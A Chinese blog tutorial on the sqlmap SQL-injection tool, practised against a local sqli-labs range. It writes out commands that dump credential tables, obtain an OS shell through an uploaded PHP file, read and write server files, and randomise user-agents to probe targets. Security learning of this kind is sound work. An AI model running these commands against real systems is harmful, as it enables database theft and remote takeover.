sqlmap工具使用详解及使用sqlmap检测SQL注入漏洞姿势

目录

0x01 学习目标

1.学会sqlmap工具的使用方法,并理解sqlmap常见参数的意义。

2.如何传输post请求包并进行利用

3.  如何指定只探测某一种注入类型,比如指定只探测是否存在布尔盲注

4. 如何指定 随机的user-agent

5.  如何刷新之前的记录重新探测某个数据包是否存在注入

6. 如何指定post包中的某个参数,只对这个参数进行探测

7.  如何提升sql注入漏洞探测等级

8. 如何让sqlmap发送的探测数据包经过burpsuite,并观察sqlmap发送的数据包

9. 参数--os-shell 和--sql-shell 分别代表什么

10. 如何让sqlmap探测漏洞时显示每次发包的payload是什么

0x02 sqlmap的基本用法

0x03 使用sqlmap工具读写文件

1.文件读取

2. 文件写入

0x04 总结


0x01 学习目标

1.学会sqlmap工具的使用方法,并理解sqlmap常见参数的意义。

sqlmap工具常见参数及其意义:

  • -r 读取抓包文件

  • -p 需要检测的参数

  • --technique 需要检测的注入方式

    eg:sqlmap -u "http://URL/?id=1" --dbs --batch --technique B

    • B:Boolean-based-blind (布尔型注入)

    • U:Union query-based (联合注入)

    • E:Error-based (报错型注入)

    • S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

    • T:Time-based blind (基于时间延迟注入)

  • --batch 默认选择

  • --threads 线程数

  • -data 传入post参数(免去抓包)

  • --dbs 爆破数据库

获取数据库的常用参数

-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据

2.如何传输post请求包并进行利用

通过 "-r" 参数传递 POST 请求包,例如:sqlmap -r request.txt。 (本文是对sqli靶场进行测试的)下面将利用该参数进行注入检查。

2.1 通过burpsuit抓取数据包导入进sqlmap进行注入检测

使用sqlmap载入导出的数据包并进行注入检测

2.2 查询注入点

sqlmap.py -r request.txt

 2.3 查询数据库

sqlmap.py -r request.txt --dbs

 2.4 查询指定数据库的表

sqlmap.py -r request.txt -D mysql --tables

2.5  查询指定数据库指定表的指定字段

sqlmap.py -r request.txt -D mysql -T user --columns

2.6  查询指定数据库指定表的指定字段的数据:

sqlmap.py -r request.txt -D mysql -T user -C User --dump

3.  如何指定只探测某一种注入类型,比如指定只探测是否存在布尔盲注

使用 --technique 参数来指定探测的 SQL 注入类型。例如,如果你只想探测 UNION-based 注入,可以使用以下命令:

 sqlmap.py -u "http://example.com/?y=x" --technique U

其中,-u 参数表示目标 URL,--technique 参数后面的 U 表示 UNION-based 注入。除了 U,还可以指定其他类型的注入方式,如 B(布尔盲注)、E(错误信息注入)等。如果要指定多种注入类型,可以使用逗号分隔,如 -technique U,B 表示探测 UNION-based 和布尔盲注类型的注入。

 使用 "--technique=B" 参数指定只探测布尔盲注,例如:

sqlmap.py -u "http://example.com/?y=x" --technique=B。

eg:

 4. 如何指定 随机的user-agent

随机 User-Agent 的命令:sqlmap.py -u "http://example.com/index.php?id=1" --random-agent该命令中使用了 "--random-agent" 参数来指定随机 User-Agent,这样每次分析请求时,Sqlmap 都会随机选择一个 User-Agent 作为当前请求的 User-Agent。

eg:

5.  如何刷新之前的记录重新探测某个数据包是否存在注入

通过 "-f" 参数强制重新探测之前的记录,例如:sqlmap -r request.txt -f。

 6. 如何指定post包中的某个参数,只对这个参数进行探测

使用 "-p" 参数指定只对 POST 参数进行探测,例如:sqlmap -r request.txt -p "username"。

7.  如何提升sql注入漏洞探测等级

 使用 "--level" 参数提升探测等级,例如:sqlmap.py -u "[http://example.com](http://example.com/)" --level=3。

Sqlmap 的参数 --level ,它共分为 5 个等级:
--level 1:即默认模式,当你不使用这个参数时,默认 level 为1,该情况下能够测试的返回很小,使用的 payload 很少。
--level 2 或者更高时:Sqlmap 会检测 cookie 是否存在注入。
--level 3 或者更高时:Sqlmap 会检测 User-Agent 或者 Referer(也属于头部信息) 是否存在注入。
--level 5:Sqlmap 会检测 Host 是否存在注入。

eg:

8. 如何让sqlmap发送的探测数据包经过burpsuite,并观察sqlmap发送的数据包

使用 "--proxy" 参数指定使用 Burp Suite 代理进行探测,例如:sqlmap.py -u "http://example.com/" --proxy=http://127.0.0.1:8080/。

 9. 参数--os-shell 和--sql-shell 分别代表什么

"--os-shell" 参数指定获取操作系统的命令行 shell,"--sql-shell" 指定获取 SQL Shell,例如:sqlmap.py -u "http://example.com" --os-shell。

前提:MySQL my.ini配置文件secure_file_priv要为空

步骤:首先查看MySQL中my.ini配置文件secure_file_priv是否为空,若不为空再文件中添加secure_file_priv="";添加后重启phpstudy再连接navicat查看是否是否修改成功(show global variables like '%secure%';)如图:

 然后执行命令:Python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -v 3 --os-shell

 原理:在指定路径上传一个php文件(如tmpucjis.php)文件内容编码为十六进制,主要实现了文件上传的功能。

 把tmpblqoi.php文件上传到指定路径该文件主要功能是执行系统命令从而与工具os-shell>模块相对应。

 10. 如何让sqlmap探测漏洞时显示每次发包的payload是什么

在 Sqlmap 命令中添加-v 选项,来使 Sqlmap 显示每次发包的负载(payload)信息。例如:

sqlmap.py -u http://example.com/vuln_page.php?id=1 -v 3

其中,"-u" 选项指定要测试的目标 URL,"-v 3" 则是启用调试模式  

0x02 sqlmap的基本用法

  1. 扫描目标网站,确定是否存在 SQL 注入漏洞:sqlmap -u <URL> --dbs

  2. 列出目标网站的所有数据库:sqlmap -u <URL> -D mysql --tables

  3. 列出指定数据库中的所有数据表:sqlmap -u <URL> -D mysql -T user --columns

  4. 列出指定数据表中的所有列:sqlmap -u <URL> -D mysql -T user -C username,password --dump

  5. 获取完整的数据库数据:sqlmap -u <URL> -D mysql --dump

  6. 执行系统命令:sqlmap -u <URL> --os-shell

  7. 获取当前用户: sqlmap -u <URL> --current-user

  8. 获取当前数据库: sqlmap -u <URL> --current-db

0x03 使用sqlmap工具读写文件

1.文件读取

sqlmap -u "http://example/example.php?id=1" --file-read "E:\mm.php"

2. 文件写入

sqlmap -u "http://example/example.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\sql2.php" --batch

0x04 总结

下载链接:sqlmap: automatic SQL injection and database takeover tool

鉴于个人实力有限,若有错误还望指正。

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值